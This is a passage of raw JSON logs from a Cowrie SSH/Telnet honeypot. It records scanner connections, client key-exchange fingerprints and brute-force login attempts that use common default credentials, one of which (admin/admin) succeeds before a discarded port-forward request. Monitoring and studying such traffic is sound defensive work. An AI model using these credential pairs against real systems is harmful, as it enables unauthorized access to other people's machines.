{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:04.858788Z","src_ip":"95.38.165.118","session":"98debd6b841e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:05.394227Z","src_ip":"95.38.165.118","session":"98debd6b841e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21688,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a0849f45eb","protocol":"ssh","message":"New connection: 87.251.64.176:21688 (10.17.0.5:22) [session: e4a0849f45eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:05.757632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:05.763385Z","src_ip":"87.251.64.176","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:05.859335Z","src_ip":"87.251.64.176","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:06.147840Z","src_ip":"87.251.64.176","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:06.260559Z","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:06.360975Z","src_ip":"87.251.64.176","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:06.562110Z","src_ip":"95.38.165.118","session":"98debd6b841e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:06.597093Z","src_ip":"87.251.64.176","session":"e4a0849f45eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.36568236351013,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:08.426042Z","src_ip":"69.4.83.194","session":"897b85f03adb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50740,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae9859e381a7","protocol":"telnet","message":"New connection: 178.128.93.180:50740 (10.17.0.5:23) [session: ae9859e381a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:08.970051Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55784,"dst_ip":"10.17.0.5","dst_port":22,"session":"a53ef5be0f1b","protocol":"ssh","message":"New connection: 95.38.165.118:55784 (10.17.0.5:22) [session: a53ef5be0f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:09.792262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:09.798142Z","src_ip":"95.38.165.118","session":"a53ef5be0f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:09.969355Z","src_ip":"95.38.165.118","session":"a53ef5be0f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:11.041888Z","src_ip":"95.38.165.118","session":"a53ef5be0f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:12.213842Z","src_ip":"95.38.165.118","session":"a53ef5be0f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55790,"dst_ip":"10.17.0.5","dst_port":22,"session":"643fb88b4b57","protocol":"ssh","message":"New connection: 95.38.165.118:55790 (10.17.0.5:22) [session: 643fb88b4b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:14.882216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:14.890185Z","src_ip":"95.38.165.118","session":"643fb88b4b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:15.056109Z","src_ip":"95.38.165.118","session":"643fb88b4b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47564,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9d93e3ecbea","protocol":"telnet","message":"New connection: 79.139.59.21:47564 (159.203.135.109:23) [session: a9d93e3ecbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.162773Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.419133Z","src_ip":"95.38.165.118","session":"643fb88b4b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51808,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fcf0b3d87bf","protocol":"ssh","message":"New connection: 89.108.118.91:51808 (10.17.0.5:22) [session: 7fcf0b3d87bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.428044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.432989Z","src_ip":"89.108.118.91","session":"7fcf0b3d87bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47528,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bccc9de67f6","protocol":"telnet","message":"New connection: 79.139.59.21:47528 (159.203.135.109:23) [session: 6bccc9de67f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.488712Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.563095Z","src_ip":"89.108.118.91","session":"7fcf0b3d87bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230383","message":"login attempt [root/230383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:16.957064Z","src_ip":"89.108.118.91","session":"7fcf0b3d87bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:17.586082Z","src_ip":"95.38.165.118","session":"643fb88b4b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56102,"dst_ip":"10.17.0.5","dst_port":23,"session":"611bd93cb598","protocol":"telnet","message":"New connection: 178.128.93.180:56102 (10.17.0.5:23) [session: 611bd93cb598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:18.026032Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:18.090098Z","src_ip":"89.108.118.91","session":"7fcf0b3d87bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:20.795775Z","src_ip":"95.38.165.118","session":"13e3ebe055ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8cfbad3630b","protocol":"ssh","message":"New connection: 95.38.165.118:58266 (10.17.0.5:22) [session: a8cfbad3630b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:20.827899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:20.833014Z","src_ip":"95.38.165.118","session":"a8cfbad3630b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:20.991636Z","src_ip":"95.38.165.118","session":"a8cfbad3630b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:21.475353Z","src_ip":"95.38.165.118","session":"a8cfbad3630b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"105.7","message":"Connection lost after 105.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:21.958923Z","src_ip":"95.38.165.118","session":"13e3ebe055ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:22.636074Z","src_ip":"95.38.165.118","session":"a8cfbad3630b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":59708,"dst_ip":"10.17.0.5","dst_port":23,"session":"422ea20dd78d","protocol":"telnet","message":"New connection: 178.128.93.180:59708 (10.17.0.5:23) [session: 422ea20dd78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:24.117554Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":58062,"dst_ip":"10.17.0.5","dst_port":23,"session":"44afaad77198","protocol":"telnet","message":"New connection: 178.128.93.180:58062 (10.17.0.5:23) [session: 44afaad77198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:24.218591Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50506,"dst_ip":"10.17.0.5","dst_port":22,"session":"df81a03f5d25","protocol":"ssh","message":"New connection: 95.38.165.118:50506 (10.17.0.5:22) [session: df81a03f5d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.198781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.204983Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.368825Z","src_ip":"95.38.165.118","session":"df81a03f5d25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":35886,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c775f848c7a","protocol":"ssh","message":"New connection: 77.239.106.153:35886 (159.203.135.109:22) [session: 0c775f848c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.391042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:05:27.396678Z","src_ip":"77.239.106.153","session":"0c775f848c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","di